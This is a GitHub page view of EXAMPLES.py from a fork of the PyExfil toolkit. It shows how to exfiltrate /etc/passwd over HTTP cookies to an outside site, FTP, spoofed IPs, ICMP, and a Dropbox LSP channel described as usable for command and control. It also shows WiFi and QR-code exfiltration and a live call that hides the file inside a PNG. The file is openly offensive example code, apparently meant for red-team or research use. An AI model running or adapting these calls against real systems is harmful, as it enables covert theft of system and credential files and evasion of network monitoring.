forked from ytisf/PyExfil
-
Notifications
You must be signed in to change notification settings - Fork 0
/
EXAMPLES.py
85 lines (56 loc) · 1.91 KB
/
EXAMPLES.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/usr/bin/env python
import sys
FILE_TO_EXFIL = "/etc/passwd"
""" NETWORK EXAMPLES """
""" HTTP Cookies """
# from pyexfil.network.HTTP_Cookies.http_exfiltration import send_file
#
# send_file(addr='http://www.morirt.com', file_path=FILE_TO_EXFIL)
""" Source IP Based """
# from pyexfil.network.FTP.ftp_exfil import FTPExfiltrator
#
# FTPexf = FTPExfiltrator(file2exfil=FILE_TO_EXFIL, server="8.8.8.8", port=21, creds=(), tls=False)
# FTPexf.get_file_chunks()
# FTPexf.build_final_chunks()
# FTPexf.send_chunks()
""" Source IP Based * """
# from pyexfil.network.SpoofIP.spoofIPs_client import _send
#
# _send(file_path=FILE_TO_EXFIL, to="8.8.8.8")
""" DropBox LSP """
# # Can also be used to CNC communication inside network.
# from pyexfil.network.DB_LSP.dblsp import DB_LSP
#
# dbLSP = DB_LSP(
# cnc='192.168.1.255',
# data=open(FILE_TO_EXFIL, 'rb').read(),
# key="Donnie!"
# )
# dbLSP._Create()
# dbLSP.Send()
""" Exfiltration Over ICMP * """
# from pyexfil.network.ICMP.icmp_exfiltration import send_file
#
# send_file( "8.8.8.8",
# src_ip_addr="127.0.0.1",
# file_path=FILE_TO_EXFIL,
# max_packetsize=512,
# SLEEP=0.1)
""" STEGANOGRAPHY EXAMPLES """
""" Binary offset in file """
from pyexfil.Stega.binoffset.binoffset import CreateExfiltrationFile
CreateExfiltrationFile(
originalImage='pyexfil/Stega/binoffset/image.png',
rawData=FILE_TO_EXFIL,
OutputImage="/tmp/new.png")
""" PHYSICAL EXAMPLES """
""" Example for Wifi Payload """
# from pyexfil.physical.wifiPayload.client import exfiltrate
#
# exfiltrate(FILE_TO_EXFIL)
""" Example for QRCode Exfiltration """
# from pyexfil.physical.qr.generator import CreateQRs, PlayQRs
# if CreateQRs(FILE_TO_EXFIL):
# PlayQRs()
# else:
# sys.stderr.write("Something went wrong with creating QRs.\n")